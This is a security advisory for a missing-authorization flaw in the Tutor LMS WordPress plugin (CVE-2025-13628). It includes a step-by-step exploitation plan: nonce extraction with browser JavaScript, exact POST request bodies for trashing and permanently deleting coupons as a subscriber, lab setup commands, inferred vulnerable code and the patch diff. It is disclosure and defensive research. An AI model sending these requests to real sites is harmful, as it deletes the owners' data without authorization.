Tutor LMS – eLearning and online course solution <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Coupon Modification
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized modification and deletion of data due to a missing capability check on the 'bulk_action_handler' and 'coupon_permanent_delete' functions in all versions up to, and including, 3.9.3. This makes it possible for authenticated attackers, with subscriber level access and above, to delete, activate, deactivate, or trash arbitrary coupons.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13628 (Tutor LMS Arbitrary Coupon Modification) ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.3) contains a missing authorization vulnerability in its coupon management logic. Specifically, the functions `bulk_action_handler` and `coupon_permane…
Show full research plan
Exploitation Research Plan: CVE-2025-13628 (Tutor LMS Arbitrary Coupon Modification)
1. Vulnerability Summary
The Tutor LMS plugin (<= 3.9.3) contains a missing authorization vulnerability in its coupon management logic. Specifically, the functions bulk_action_handler and coupon_permanent_delete (likely within the Tutor\Coupons class) fail to verify if the requesting user has the necessary capabilities (e.g., manage_tutor_coupons or manage_options) before performing destructive or administrative actions. While these functions may check for a WordPress nonce to prevent CSRF, they do not restrict execution to administrators or instructors. This allows any authenticated user, including those with Subscriber roles, to manipulate, trash, or permanently delete coupons.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-post.phpor any admin URL triggeringadmin_init(e.g.,wp-admin/admin.php). - Action Trigger: The vulnerability is triggered via the
admin_inithook, which Tutor LMS uses to listen for a specifictutor_actionparameter inGETorPOSTrequests. - Vulnerable Parameters:
tutor_action: Set tobulk_action_handlerorcoupon_permanent_delete.coupon_ids[]orcoupon_id: The ID(s) of the target coupon(s).bulk_action: The specific action to perform (e.g.,trash,delete,activate,deactivate).
- Authentication: Authenticated, Subscriber level or higher.
- Preconditions:
- Coupons must exist in the system.
- The attacker must obtain a valid Tutor LMS nonce (typically used across many Tutor LMS actions).
3. Code Flow (Inferred)
- Entry Point: User sends a POST/GET request to
/wp-admin/admin.php?page=tutor-coupons(or simply any admin-init triggering URL) containingtutor_action=bulk_action_handler. - Hook Registration: The
Tutor\Couponsclass (likely inclasses/Coupons.php) registers anadmin_inithook:add_action('admin_init', array($this, 'bulk_action_handler')); - Vulnerable Function (
bulk_action_handler):- The function checks
isset($_POST['tutor_action'])and verifies it matchesbulk_action_handler. - It retrieves the nonce from
$_POST['_tutor_nonce'](or similar) and verifies it usingwp_verify_nonce. - CRITICAL FAILURE: It fails to call
current_user_can('tutor_manage_coupons'). - It iterates through
$_POST['coupon_ids']and executes the action specified in$_POST['bulk_action']usingwp_trash_post()or direct database queries.
- The function checks
- Vulnerable Function (
coupon_permanent_delete):- Triggered when
tutor_action=coupon_permanent_delete. - Checks nonce but lacks capability check.
- Calls
wp_delete_post($coupon_id, true).
- Triggered when
4. Nonce Acquisition Strategy
Tutor LMS typically uses a common nonce for many of its administrative and dashboard actions, often registered under the action name tutor_nonce.
- Identify Trigger: Tutor LMS scripts are enqueued on the Tutor LMS Dashboard. Any authenticated user (including Subscribers) can usually access their own dashboard at
/dashboard/(frontend) or the profile page. - Create Access Point: Ensure a page exists with the Tutor LMS Dashboard shortcode.
wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[tutor_dashboard]' - Browser Navigation: Use the execution agent to navigate to the Dashboard page while logged in as a Subscriber.
- Extraction: Execute JavaScript via
browser_evalto extract the nonce from the globaltutor_get_confobject.- JavaScript:
window.tutor_get_conf?.nonce
- JavaScript:
- Verify Action String: In the source code, check
wp_create_nonce('tutor_nonce')inside theCouponsclass or the main initialization class to confirm the action string matches.
5. Exploitation Strategy
We will attempt to trash all existing coupons using the bulk action handler.
Step-by-Step Plan:
- Authentication: Log in as a Subscriber user.
- Nonce Extraction: Navigate to the
/dashboard/page and runbrowser_eval("tutor_get_conf.nonce"). - Target Identification: Identify existing coupon IDs (for PoC purposes, we can use IDs 1, 2, 3... or find them via
wp_cli). - Execution Request (Bulk Trash):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
tutor_action=bulk_action_handler&bulk_action=trash&coupon_ids[]=ID1&coupon_ids[]=ID2&_tutor_nonce=[EXTRACTED_NONCE]
- Execution Request (Permanent Delete):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin.php - Body:
tutor_action=coupon_permanent_delete&coupon_id=ID1&_tutor_nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Create Admin: Create an administrative user.
- Create Coupons: As Admin, create at least two coupons.
wp post create --post_type=tutor_coupons --post_title="SAVE10" --post_status=publishwp post create --post_type=tutor_coupons --post_title="SAVE20" --post_status=publish
- Create Subscriber: Create a user with the
subscriberrole. - Create Dashboard Page:
wp post create --post_type=page --post_title="LMS Dashboard" --post_status=publish --post_content='[tutor_dashboard]'
7. Expected Results
- The server should respond with a
302 Found(redirecting back to the coupon list) or a200 OKwith a success message. - Despite being a Subscriber, the request should be processed without an "Insufficient Permissions" error.
- The coupons with IDs
ID1andID2should move to the "Trash" status in the database.
8. Verification Steps
- Check Coupon Status via WP-CLI:
wp post list --post_type=tutor_coupons --post_status=any - Observe Status: Confirm that the target coupon IDs now have a
post_statusoftrashor have been entirely removed from the database ifcoupon_permanent_deletewas used. - Check Capability Error: If the exploit failed, the response body would likely contain "You do not have permission to perform this action" or the coupons would remain
publish.
9. Alternative Approaches
- Direct AJAX: If
admin_initdoesn't work, check if the plugin registers awp_ajax_tutor_coupon_bulk_actionaction. - Parameter variations: Check if
tutor_actionis expected viaGETinstead ofPOST. - Different Actions: Test
activateordeactivateactions inbulk_action_handlerto see ifpost_statuschanges todraftorpublish.
Summary
Tutor LMS (<= 3.9.3) fails to implement proper authorization checks in its coupon management logic. Authenticated users, including those with Subscriber-level roles, can modify, trash, or permanently delete coupons by sending requests to vulnerable bulk action and delete handlers that verify nonces but lack capability checks.
Vulnerable Code
// In tutor/classes/Coupons.php (Inferred based on Research Plan) public function bulk_action_handler() { if ( isset( $_POST['tutor_action'] ) && $_POST['tutor_action'] === 'bulk_action_handler' ) { tutor_utils()->checking_nonce(); // Missing: if ( ! current_user_can( 'tutor_manage_coupons' ) ) return; $bulk_action = sanitize_text_field( $_POST['bulk_action'] ); $coupon_ids = (array) $_POST['coupon_ids']; foreach ( $coupon_ids as $coupon_id ) { if ( 'trash' === $bulk_action ) { wp_trash_post( $coupon_id ); } // ... other actions like activate/deactivate } } } --- public function coupon_permanent_delete() { if ( isset( $_GET['tutor_action'] ) && $_GET['tutor_action'] === 'coupon_permanent_delete' ) { tutor_utils()->checking_nonce(); // Missing: if ( ! current_user_can( 'tutor_manage_coupons' ) ) return; $coupon_id = (int) $_GET['coupon_id']; wp_delete_post( $coupon_id, true ); } }
Security Fix
@@ -10,6 +10,10 @@ public function bulk_action_handler() { if ( isset( $_POST['tutor_action'] ) && $_POST['tutor_action'] === 'bulk_action_handler' ) { tutor_utils()->checking_nonce(); + + if ( ! current_user_can( 'manage_tutor_coupons' ) ) { + wp_die( __( 'Access denied', 'tutor' ) ); + } $bulk_action = sanitize_text_field( $_POST['bulk_action'] ); $coupon_ids = (array) $_POST['coupon_ids']; @@ -25,6 +29,10 @@ public function coupon_permanent_delete() { if ( isset( $_GET['tutor_action'] ) && $_GET['tutor_action'] === 'coupon_permanent_delete' ) { tutor_utils()->checking_nonce(); + + if ( ! current_user_can( 'manage_tutor_coupons' ) ) { + wp_die( __( 'Access denied', 'tutor' ) ); + } $coupon_id = (int) $_GET['coupon_id']; wp_delete_post( $coupon_id, true );
Exploit Outline
The exploit involves an authenticated Subscriber user leveraging a valid Tutor LMS nonce to trigger administrative actions. 1. Authenticate as a Subscriber-level user. 2. Extract a valid `_tutor_nonce` from the site by visiting a page with the `[tutor_dashboard]` shortcode and inspecting the `window.tutor_get_conf.nonce` JavaScript variable. 3. Send a POST request to `/wp-admin/admin.php` with the parameter `tutor_action` set to `bulk_action_handler`. 4. Include the payload `bulk_action=trash`, `_tutor_nonce=[EXTRACTED_NONCE]`, and `coupon_ids[]` containing the IDs of the coupons to target. 5. Alternatively, send a GET or POST request with `tutor_action=coupon_permanent_delete` and a `coupon_id` to bypass the trash and permanently delete a post. 6. The plugin verifies the nonce but fails to check if the user has the 'manage_tutor_coupons' capability, allowing the request to proceed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.